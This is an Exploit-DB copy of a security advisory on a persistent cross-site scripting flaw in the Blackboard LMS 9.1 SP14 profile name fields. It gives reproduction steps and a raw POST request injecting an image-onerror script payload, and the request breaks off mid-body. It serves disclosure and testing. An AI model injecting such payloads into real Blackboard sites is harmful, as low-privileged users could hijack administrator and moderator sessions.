Exploit-DB #41014
Description: Blackboard LMS 9.1 SP14 - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2017-01-09
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Blackboard LMS 9.1 SP14 - (Profile) Persistent Vulnerability 


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1900


Release Date:
=============
2017-01-09


Vulnerability Laboratory ID (VL-ID):
====================================
1900


Common Vulnerability Scoring System:
====================================
4.2


Product & Service Introduction:
===============================
Blackboard Learn (previously the Blackboard Learning Management System), is a virtual learning environment and course management system 
developed by Blackboard Inc. It is Web-based server software which features course management, customizable open architecture, and scalable 
design that allows integration with student information systems and authentication protocols. It may be installed on local servers or hosted 
by Blackboard ASP Solutions. Its main purposes are to add online elements to courses traditionally delivered face-to-face and to develop 
completely online courses with few or no face-to-face meetings.

(Copy of the Homepage: http://www.blackboard.com/learning-management-system/blackboard-learn.aspx )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side input validation vulnerability in the official Blackboard LMS 9.1 SP14.




Vulnerability Disclosure Timeline:
==================================
2017-01-09:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
BlackBoard Inc.
Product: Blackboard LMS - Content Management System 9.1 SP 14


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in Blackboard LMS official web-application. 

Remote attackers are able to inject malicious  code into profile information module, the vulnerability is located in 
the first name,last name of user profile, the vulnerable fields in the module (userVO.firstName & userVO.lastName).

The issue allows an attacker to inject own malicious java script codes to the vulnerable modules context. The execution 
of the vulnerability occurs in Blackboard LMS main panel & user management module. Due to our investigation we discovered 
that users with low privileged access are able to to inject their own java code to compromise other moderator or admin 
session credentials. The request method to inject is POST and the attack vector of the issue is persistent. The execute 
occurs each time an account visits the profile page of the attacking user account.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2 
Exploitation of the web vulnerability requires a low privileged user account with restricted access and low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external 
redirect to malicious sources and application-side manipulation of affected or connected module context.


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. User register in the blackboard LMS course as student . 
2. User goes to profile information section and inject the code persistent payload > into the firstname or lastname input fields 
Note: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
3. User submits data and saves it via POST method request with out secure parse by the web validation
4. The execution of vulnerability occurs in the user management: 
https://b-lms.localhost:8000/webapps/Bb-sites-enrollment-manager-BBLEARN/enrollmentManager.form?course_id=_431252_1 
5. Successfully reproduce the application-side web validation vulnerability! 


--- PoC Session Logs [POST] ---
POST /webapps/Bb-sites-user-profile-BBLEARN/profile.form HTTP/1.1
Host: b-lms.localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
Cookie: JSESSIONID=285EAF6ED95FF4574CADF4FF90F218B1; __utma=154[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]652392.2; 
__utmz=154[PII_REDACTED]597563.1.1.utmcsr=vulnlab.coursesites.com|utmccn=(referral)|utmcmd=referral|utmcct=/; COOKIE_CONSENT_ACCEPTED=true; 
NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d159545525d5f4f58455e445a4a42378b; session_id=153E1080C32EF7E9393910EC45598887; 
s_session_id=FCCF148598E6531BC4167D5C3B8A2949; JSESSIONID=C866524B3CA437DF8E0AC184746DBD36; __utmb=154552106.26.9[PII_REDACTED]713; __utmc=154552106; __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 605
userVO.firstName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.lastName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.user.educationLevel=
Not+Disclosed&userVO.user.gender=Not+Disclosed&birthDate_datetime=&pickdate=&pickname=&birthDate_date=&userVO.user.studentId=&userType=HE_STUDENT
&userVO.user.emailAddress=sec%40secteach.me&userVO.user.street1=&userVO.user.city=&userVO.user.state=&userVO.user.zipCode=&userVO.user.country=AF
&userVO.user.mobilePhone=&userVO.user.homePhone1=&userVO.user.webPage=&userVO.userProfile.institutionGuid=User_Instr_2015-02-22_19%3A31%3A21.304
&userVO.user.jobTitle=&use